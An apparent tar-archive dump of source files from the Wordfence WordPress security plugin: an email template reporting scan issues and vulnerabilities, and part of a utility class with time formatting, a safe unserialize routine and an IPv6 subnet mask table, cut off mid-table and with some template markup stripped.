  • Note: The GeoIP database that is required for country blocking has been updated to a new format. This new format requires sites to run PHP 5.4 or newer, and this site is on PHP %s. To ensure country blocking continues functioning, please update PHP.', 'wordfence'), wfUtils::cleanPHPVersion())); ?>
  • ()
render(); ?>
render(); ?> email_newIssues.php000064400000021513147206764270010432 0ustar00 scanOptions(); ?>

0) { printf( /* translators: 1. URL to the site's homepage. 2. Number of scan results. */ _n('Wordfence found the following new issues on "%1$s" (%2$d existing issue was also found again).', 'Wordfence found the following new issues on "%1$s" (%2$d existing issues were also found again).', count($previousIssues), 'wordfence'), esc_html(get_bloginfo('name', 'raw')), count($previousIssues) ); } else { echo esc_html(sprintf( /* translators: 1. URL to the site's homepage. */ __('Wordfence found the following new issues on "%1$s".', 'wordfence'), get_bloginfo('name', 'raw') )); } ?>


%2$s or read more about scan options to improve scan speed here: %4$s', 'wordfence'), esc_attr(wfUtils::wpAdminURL('admin.php?page=WordfenceScan&subpage=scan_options#wf-scanner-options-performance')), esc_attr(wfUtils::wpAdminURL('admin.php?page=WordfenceScan&subpage=scan_options')), wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_TIME_LIMIT), esc_html(wfSupportController::supportURL(wfSupportController::ITEM_SCAN_TIME_LIMIT))), array('a'=>array('href'=>array()))); ?>
__('Critical Problems:', 'wordfence'), wfIssues::SEVERITY_HIGH => __('High Severity Problems:', 'wordfence'), wfIssues::SEVERITY_MEDIUM => __('Medium Severity Problems:', 'wordfence'), wfIssues::SEVERITY_LOW => __('Low Severity Problems:', 'wordfence'), ); ?> $severityLabel): if ($severityLevel < $level) { continue; } $hasIssuesAtSeverity = false; foreach($issues as $i){ if($i['severity'] == $severityLevel){ ?>

*

' . esc_html__('Plugin contains an unpatched security vulnerability.', 'wordfence') . ''; if (isset($i['tmplData']['cvssScore'])) { echo '
' . esc_html__('Vulnerability Severity', 'wordfence') . ': ' . number_format($i['tmplData']['cvssScore'], 1) . '/10.0 (' . wfUpdateCheck::cvssScoreSeverityLabel($i['tmplData']['cvssScore']) . ')'; } if (isset($i['tmplData']['vulnerabilityLink'])) { echo '
' . esc_html__('Vulnerability Information', 'wordfence') . ''; } echo '

'; } } if ($i['type'] == 'coreUnknown') { echo '

' . esc_html__('The core files scan has not run because this version is not currently indexed by Wordfence. New WordPress versions may take up to a day to be indexed.', 'wordfence') . '

'; } else if ($i['type'] == 'wafStatus') { echo '

' . esc_html__('Firewall issues may be caused by file permission changes or other technical problems.', 'wordfence') . ' ' . esc_html__('More Details and Instructions', 'wordfence') . '

'; } else if ($i['type'] == 'skippedPaths') { echo '

' . esc_html__('Scanning additional paths is optional and is not always necessary.', 'wordfence') . ' ' . esc_html__('Learn More', 'wordfence') . '

'; } $showWPParagraph = !empty($i['tmplData']['vulnerable']) || isset($i['tmplData']['wpURL']); if ($showWPParagraph) { echo '

'; } if (!empty($i['tmplData']['vulnerable'])) { if (isset($i['tmplData']['updateAvailable']) && $i['tmplData']['updateAvailable'] !== false) echo '' . esc_html__('Update includes security-related fixes.', 'wordfence') . ''; if (isset($i['tmplData']['cvssScore'])) { echo '
' . esc_html__('Vulnerability Severity', 'wordfence') . ': ' . number_format($i['tmplData']['cvssScore'], 1) . '/10.0 (' . wfUpdateCheck::cvssScoreSeverityLabel($i['tmplData']['cvssScore']) . ')'; } if (isset($i['tmplData']['vulnerabilityLink'])) { echo ' ' . esc_html__('Vulnerability Information', 'wordfence') . ''; } } if (isset($i['tmplData']['wpURL'])) { if(!empty($i['tmplData']['vulnerable'])) echo '
'; echo $i['tmplData']['wpURL'] . '/#developers'; } if ($showWPParagraph) { echo '

'; } ?> getTextImageURL($i['tmplData']['badURL']), 'https'); ?>

<?php esc_html_e('The malicious URL matched', 'wordfence') ?>

0) { $sentences[] = sprintf(/* translators: Number of scan results */ _n('%d issue was omitted from this email due to length limits.', '%d issues were omitted from this email due to length limits.', $issuesNotShown, 'wordfence'), $issuesNotShown); $sentences[] = esc_html__('View every issue:', 'wordfence') . sprintf(' %s', esc_attr(wfUtils::wpAdminURL('admin.php?page=WordfenceScan')), esc_html(wfUtils::wpAdminURL('admin.php?page=WordfenceScan'))); } if (count($sentences)) { printf('

%s

', implode(' ', $sentences)); } ?>


https://www.wordfence.com/zz2/wordfence-signup/

wfUtils.php000064400000362262147206764270006744 0ustar00getTimestamp() + $secs)); //Have to do it this way because of PHP 5.2 $then = new DateTime($dtStr, $utc); $diff = $then->diff($now); $years = $diff->y; $months = $diff->m; $days = $diff->d; $hours = $diff->h; $minutes = $diff->i; } else { $years = 0; $months = floor($secs / (86400 * 30)); $days = floor($secs / 86400); $hours = floor($secs / 3600); $minutes = floor($secs / 60); if ($months) { $days -= $months * 30; } else if ($days) { $hours -= $days * 24; } else if ($hours) { $minutes -= $hours * 60; } } if ($years) { return $years . ' ' . _n('year', 'years', $years, 'wordfence') . (is_numeric($months) ? ' ' . $months . ' ' . _n('month', 'months', $months, 'wordfence') : ''); } else if ($months) { return $months . ' ' . _n('month', 'months', $months, 'wordfence') . (is_numeric($days) ? ' ' . $days . ' ' . _n('day', 'days', $days, 'wordfence') : ''); } else if ($days) { return $days . ' ' . _n('day', 'days', $days, 'wordfence') . (is_numeric($hours) ? ' ' . $hours . ' ' . _n('hour', 'hours', $hours, 'wordfence') : ''); } else if ($hours) { return $hours . ' ' . _n('hour', 'hours', $hours, 'wordfence') . (is_numeric($minutes) ? ' ' . $minutes . ' ' . _n('minute', 'minutes', $minutes, 'wordfence') : ''); } else if ($minutes) { return $minutes . ' ' . _n('minute', 'minutes', $minutes, 'wordfence'); } else { if($noSeconds){ return __("less than a minute", 'wordfence'); } else { return sprintf(/* translators: Number of seconds. */ __("%d seconds", 'wordfence'), floor($secs)); } } } public static function makeDuration($secs, $createExact = false) { $components = array(); $months = floor($secs / (86400 * 30)); $secs -= $months * 86400 * 30; $days = floor($secs / 86400); $secs -= $days * 86400; $hours = floor($secs / 3600); $secs -= $hours * 3600; $minutes = floor($secs / 60); $secs -= $minutes * 60; if ($months) { $components[] = $months . ' ' . _n('month', 'months', $months, 'wordfence'); if (!$createExact) { $hours = $minutes = $secs = 0; } } if ($days) { $components[] = $days . ' ' . _n('day', 'days', $days, 'wordfence'); if (!$createExact) { $minutes = $secs = 0; } } if ($hours) { $components[] = $hours . ' ' . _n('hour', 'hours', $hours, 'wordfence'); if (!$createExact) { $secs = 0; } } if ($minutes) { $components[] = $minutes . ' ' . _n('minute', 'minutes', $minutes, 'wordfence'); } if ($secs && $secs >= 1) { $components[] = $secs . ' ' . _n('second', 'seconds', $secs, 'wordfence'); } if (empty($components)) { $components[] = __('less than 1 second', 'wordfence'); } return implode(' ', $components); } public static function pluralize($m1, $m1Singular, $m1Plural, $m2 = false, $m2Singular = false, $m2Plural = false) { $m1Text = _n($m1Singular, $m1Plural, $m1, 'wordfence'); if (is_numeric($m2)) { $m2Text = _n($m2Singular, $m2Plural, $m2, 'wordfence'); return "$m1 $m1Text $m2 $m2Text"; } else { return "$m1 $m1Text"; } } public static function formatBytes($bytes, $precision = 2) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); // Uncomment one of the following alternatives $bytes /= pow(1024, $pow); // $bytes /= (1 << (10 * $pow)); return round($bytes, $precision) . ' ' . $units[$pow]; } /** * Returns the PHP version formatted for display, stripping off the build information when present. * * @return string */ public static function cleanPHPVersion() { $version = phpversion(); if (preg_match('/^(\d+\.\d+\.\d+)/', $version, $matches)) { return $matches[1]; } return $version; } /** * Safe unserialize() replacement * - accepts a strict subset of PHP's native serialized representation * - does not unserialize objects * * @param string $str * @return mixed */ public static function _safe_unserialize($str, $limit_input_length = self::DEFAULT_MAX_SERIALIZED_INPUT_LENGTH, $limit_array_length = self::DEFAULT_MAX_SERIALIZED_ARRAY_LENGTH, $limit_array_depth = self::DEFAULT_MAX_SERIALIZED_ARRAY_DEPTH) { if (empty($str) || !is_string($str)) { return false; } if (strlen($str) > $limit_input_length) { return false; } if (!is_serialized($str)) { return false; } $stack = array(); $expected = array(); /* * states: * 0 - initial state, expecting a single value or array * 1 - terminal state * 2 - in array, expecting end of array or a key * 3 - in array, expecting value or another array */ $state = 0; while ($state != 1) { $type = isset($str[0]) ? $str[0] : ''; if ($type == '}') { $str = substr($str, 1); } else if ($type == 'N' && $str[1] == ';') { $value = null; $str = substr($str, 2); } else if ($type == 'b' && preg_match('/^b:([01]);/', $str, $matches)) { $value = $matches[1] == '1' ? true : false; $str = substr($str, 4); } else if ($type == 'i' && preg_match('/^i:(-?[0-9]+);(.*)/s', $str, $matches)) { $value = (int) $matches[1]; $str = $matches[2]; } else if ($type == 'd' && preg_match('/^d:(-?[0-9]+\.?[0-9]*(E[+-][0-9]+)?);(.*)/s', $str, $matches)) { $value = (float) $matches[1]; $str = $matches[3]; } else if ($type == 's' && preg_match('/^s:([0-9]+):"(.*)/s', $str, $matches) && substr($matches[2], (int) $matches[1], 2) == '";') { $value = substr($matches[2], 0, (int) $matches[1]); $str = substr($matches[2], (int) $matches[1] + 2); } else if ($type == 'a' && preg_match('/^a:([0-9]+):{(.*)/s', $str, $matches) && $matches[1] < $limit_array_length) { $expectedLength = (int) $matches[1]; $str = $matches[2]; } else { // object or unknown/malformed type return false; } switch ($state) { case 3: // in array, expecting value or another array if ($type == 'a') { if (count($stack) >= $limit_array_depth) { return false; } $stack[] = &$list; $list[$key] = array(); //$key is set in state 2 $list = &$list[$key]; $expected[] = $expectedLength; $state = 2; break; } if ($type != '}') { $list[$key] = $value; $state = 2; break; } // missing array value return false; case 2: // in array, expecting end of array or a key if ($type == '}') { if (count($list) < end($expected)) { // array size less than expected return false; } unset($list); $list = &$stack[count($stack) - 1]; array_pop($stack); // go to terminal state if we're at the end of the root array array_pop($expected); if (count($expected) == 0) { $state = 1; } break; } if ($type == 'i' || $type == 's') { if (count($list) >= $limit_array_length) { return false; } if (count($list) >= end($expected)) { return false; } $key = $value; $state = 3; break; } // illegal array index type return false; case 0: // expecting array or value if ($type == 'a') { if (count($stack) >= $limit_array_depth) { return false; } $data = array(); $list = &$data; $expected[] = $expectedLength; $state = 2; break; } if ($type != '}') { $data = $value; $state = 1; break; } // not in array return false; } } if (!empty($str)) { return false; } // trailing data in input return $data; } /** * Wrapper for _safe_unserialize() that handles multibyte encoding issues * * @param string $str * @return mixed */ public static function safe_unserialize($str) { // ensure we use the byte count for strings even when strlen() is overloaded by mb_strlen() if (function_exists('mb_internal_encoding') && (((int) ini_get('mbstring.func_overload')) & 2)) { // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated $mbIntEnc = mb_internal_encoding(); mb_internal_encoding('ASCII'); } $out = self::_safe_unserialize($str); if (isset($mbIntEnc)) { mb_internal_encoding($mbIntEnc); } return $out; } /** * Returns a diff on the passed arrays. The behavior varies based on the content of the arrays themselves and any * flags passed. The resulting structure will be some variant of: * * ['added' => [...], 'removed' => [...]] * * 1. If both $a and $b are non-associative arrays, the result will not include keys in `added` and `removed`. * 2. If either or both of $a and $b are associative arrays, the result will include keys that are also factored * into the comparison. * * @param array $a * @param array $b * @param int $flags * @return array */ public static function array_diff($a, $b, $flags = 0) { $result = array(); if (!self::is_assoc($a) && !self::is_assoc($b)) { $result['added'] = array_diff($b, $a); $result['removed'] = array_diff($a, $b); } else { $result['added'] = self::array_diff_assoc($b, $a); $result['removed'] = self::array_diff_assoc($a, $b); } return $result; } /** * Improved version of array_diff_assoc that handles multidimensional arrays. The resulting array will contain all * key/values from $a that are not present in $b. * * For nested arrays, the behavior for inequality is this: * - If $a[key] contains values $b[key] does not, an array of those missing values is set for `key` in the result * - If $b[key] contains values $a[key] does not, `key` is not present in the result * * @param array $a * @param array $b * @param int $flags * @return array */ public static function array_diff_assoc($a, $b, $flags = 0) { if (!($flags & self::ARRAY_DIFF_ORDERED_ARRAYS)) { //Treat $a and $b as unordered if they're non-associative if (!self::is_assoc($a) && !self::is_assoc($b)) { sort($a); sort($b); } } $result = array(); foreach ($a as $k => $v) { if (array_key_exists($k, $b)) { if ($a[$k] == $b[$k]) { continue; } if (is_array($a[$k]) && is_array($b[$k])) { $diff = self::array_diff($a[$k], $b[$k]); if (!empty($diff['removed'])) { $result[$k] = $diff['removed']; } continue; } } $result[$k] = $v; } return $result; } /** * Returns the items from $array whose keys are in $keys. * * @param array $array * @param array|string $keys * @param bool $single Return single-value as-is instead of a one-element array. * @param mixed $default Value to return when $single is true and nothing is found. * @return array|mixed */ public static function array_choose($array, $keys, $single = false, $default = null) { if (!is_array($keys)) { $keys = array($keys); } $matches = array_filter($array, function($k) use ($keys) { return in_array($k, $keys); }, ARRAY_FILTER_USE_KEY); if ($single) { $key = self::array_first($keys); if ($key !== null && isset($matches[$key])) { return $matches[$key]; } return $default; } return $matches; } /** * Polyfill for array_key_first. * * @param array $array * @return mixed|null */ public static function array_key_first($array) { if (function_exists('array_key_first')) { return array_key_first($array); } if (!count($array)) { return null; } $keys = array_keys($array); return $keys[0]; } /** * Polyfill for array_key_last. * * @param array $array * @return mixed|null */ public static function array_key_last($array) { if (function_exists('array_key_last')) { return array_key_last($array); } if (!count($array)) { return null; } $keys = array_keys($array); return $keys[count($keys) - 1]; } /** * Performs an array_map but then converts the response into an associative array. $callable is expected to return * [$key => $value] rather than just $value as a normal array_map call would. The resulting array will be as if each * were merged in, preserving the $value under $key. Each $key _should_ generally be unique, but if there are * duplicates, the last key/value pair mapped for a given $key will be the final value in the array. * * @param callable $callable * @param array $array * @return array */ public static function array_kmap($callable, $array) { $intermediate = array_map($callable, $array); $result = array(); foreach ($intermediate as $i) { //Can't use array_merge because it discards numerical keys $k = self::array_key_first($i); $v = $i[$k]; $result[$k] = $v; } return $result; } /** * Returns whether or not $a is an associative-array. It is considered associative only when the array keys are not * sequential integers starting at 0. * * @param array $a * @return bool */ public static function is_assoc($a) { if (!is_array($a)) { return false; } for ($i = 0; $i < count($a); $i++) { if (!isset($a[$i])) { return true; } } return false; } /** * Returns the raw HTTP POST body if possible. This is functionally identical to the implementation in wfWAFUtils * but present here to avoid complications with nested install WAF optimization. * * @return string */ public static function rawPOSTBody() { // phpcs:ignore PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved global $HTTP_RAW_POST_DATA; // phpcs:ignore PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved if (empty($HTTP_RAW_POST_DATA)) { //Defined if always_populate_raw_post_data is on, PHP < 7, and the encoding type is not multipart/form-data $avoidPHPInput = wfWAFConfig::get('avoid_php_input', false); if ($avoidPHPInput) { //Some custom PHP builds break reading from php://input //Reconstruct the best possible approximation of it from $_POST if populated -- won't help JSON or other raw payloads $data = http_build_query($_POST, '', '&'); } else { $data = file_get_contents('php://input'); //Available if the encoding type is not multipart/form-data; it can only be read once prior to PHP 5.6 so we save it in $HTTP_RAW_POST_DATA for WP Core and others //For our purposes, we don't currently need the raw POST body if it's multipart/form-data since the data will be in $_POST/$_FILES. If we did, we could reconstruct the body here. // phpcs:ignore PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved $HTTP_RAW_POST_DATA = $data; } } else { // phpcs:ignore PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved $data =& $HTTP_RAW_POST_DATA; } return $data; } /** * Check if an IP address is in a network block * * @param string $subnet Single IP or subnet in CIDR notation (e.g. '192.168.100.0' or '192.168.100.0/22') * @param string $ip IPv4 or IPv6 address in dot or colon notation * @return boolean */ public static function subnetContainsIP($subnet, $ip) { static $_network_cache = array(); static $_ip_cache = array(); static $_masks = array( 0 => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 1 => "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 2 => "\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 3 => "\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 4 => "\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 5 => "\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 6 => "\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 7 => "\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 8 => "\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 9 => "\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 10 => "\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 11 => "\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 12 => "\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 13 => "\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 14 => "\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 15 => "\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16 => "\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 17 => "\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 18 => "\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 19 => "\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 20 => "\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 21 => "\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 22 => "\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 23 => "\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 24 => "\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 25 => "\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 26 => "\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 27 => "\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 28 => "\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 29 => "\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 30 => "\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 31 => "\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 32 => "\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 33 => "\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 34 => "\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 35 => "\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 36 => "\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 37 => "\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 38 => "\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 39 => "\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 40 => "\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 41 => "\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 42 => "\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 43 => "\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 44 => "\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 45 => "\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 46 => "\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 47 => "\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 48 => "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 49 => "\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00", 50 => "\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00", 51 => "\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00", 52 => "\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00", 53 => "\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00", 54 => "\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00", 55 => "\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00", 56 => "\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00", 57 => "\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00", 58 => "\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00", 59 => "\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00", 60 => "\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00", 61 => "\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00", 62 => "\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00", 63 => "\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00", 64 => "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00", 65 => "\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00", 66 => "\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00", 67 => "\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00", 68 => "\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00", 69 => "\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00", 70 => "\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00", 71 => "\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00", 72 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00", 73 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00", 74 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00", 75 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00", 76 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00", 77 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00", 78 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00", 79 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00", 80 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00", 81 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00", 82 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00", 83 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00", 84 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00", 85 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00", 86 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00", 87 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00", 88 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00", 89 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00", 90 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00", 91 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00", 92 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00", 93 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00", 94 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00", 95 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00", 96 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00", 97 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00", 98 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00", 99 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00", 100 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00", 101 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00", 102 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00", 103 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00", 104 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00", 105 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00", 106 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00", 107 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00", 108 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00", 109 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00", 110 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00", 111 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00", 112 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00", 113 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00", 114 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00", 115 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00", 116 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00", 117 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00", 118 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00", 119 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00", 120 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00", 121 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80", 122 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0", 123 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0", 124 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0", 125 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8", 126 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc", 127 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe", 128 => 